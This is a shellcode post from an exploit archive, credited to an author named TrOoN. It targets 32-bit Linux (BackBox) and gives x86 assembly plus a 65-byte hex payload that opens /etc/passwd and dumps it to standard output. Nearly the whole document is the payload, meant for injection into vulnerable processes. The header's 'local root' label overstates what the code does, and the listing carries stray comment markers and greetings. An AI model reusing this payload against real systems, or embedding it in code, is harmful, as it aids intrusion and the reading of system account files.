linux/x86 Backbox /etc/passwd read shellcode 65 bytes

#Title : Backbox /etc/passwd read shellcode  65  byte(s)
#Author : TrOoN
#E-mail : www.facebook.com/fysl.fyslm
 #Home : city 617 logt Draria algeria
 #Web Site : www.1337day.com
#Type : local root / exploit / shellcode / etc
#Tested on : backbox 32 bit    ENG
#download link :   backbox.org
#1337Day sys  : it's work withe me 2 time(s) and aft this i get error shut system :P
#~~~~~~~~# hasbin rohkom khirmana 9a3din gir f 9dime yakhii 3bade pff 9wdoo #  ~~~~~~~~#



         // start delt this ok !!//
_start:

    xor    %eax, %eax
    xor    %ebx, %ebx
    xor    %ecx, %ecx
    xor    %edx, %edx
    jmp    two

        //  delt this oK !! ///
one:
    pop    %ebx
    
    movb    $5, %al
    xor    %ecx, %ecx
    int    $0x80
    
    mov    %eax, %esi
    jmp    read

exit:
    movb    $1, %al
    xor    %ebx, %ebx
    int    $0x80

read:
    mov    %esi, %ebx
    movb    $3, %al
    sub    $1, %esp
    lea    (%esp), %ecx
    movb    $1, %dl
    int    $0x80

    xor    %ebx, %ebx
    cmp    %eax, %ebx
    je    exit

    movb    $4, %al
    movb    $1, %bl
    movb    $1, %dl
    int    $0x80
    
    add    $1, %esp
    jmp    read

two:
    call    one
    .string    "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd";

 ~~~~~~~~~~~~~~~~ 1337 day | ked ans | ALgerian | mosta_team |viper| bRsco_Dz |  fire_hacker| hacker_1420 | &all
 metasploit | Back track | w3schoOL | AlGerian_ | bem 2012 anchalah khoya ~~~~~~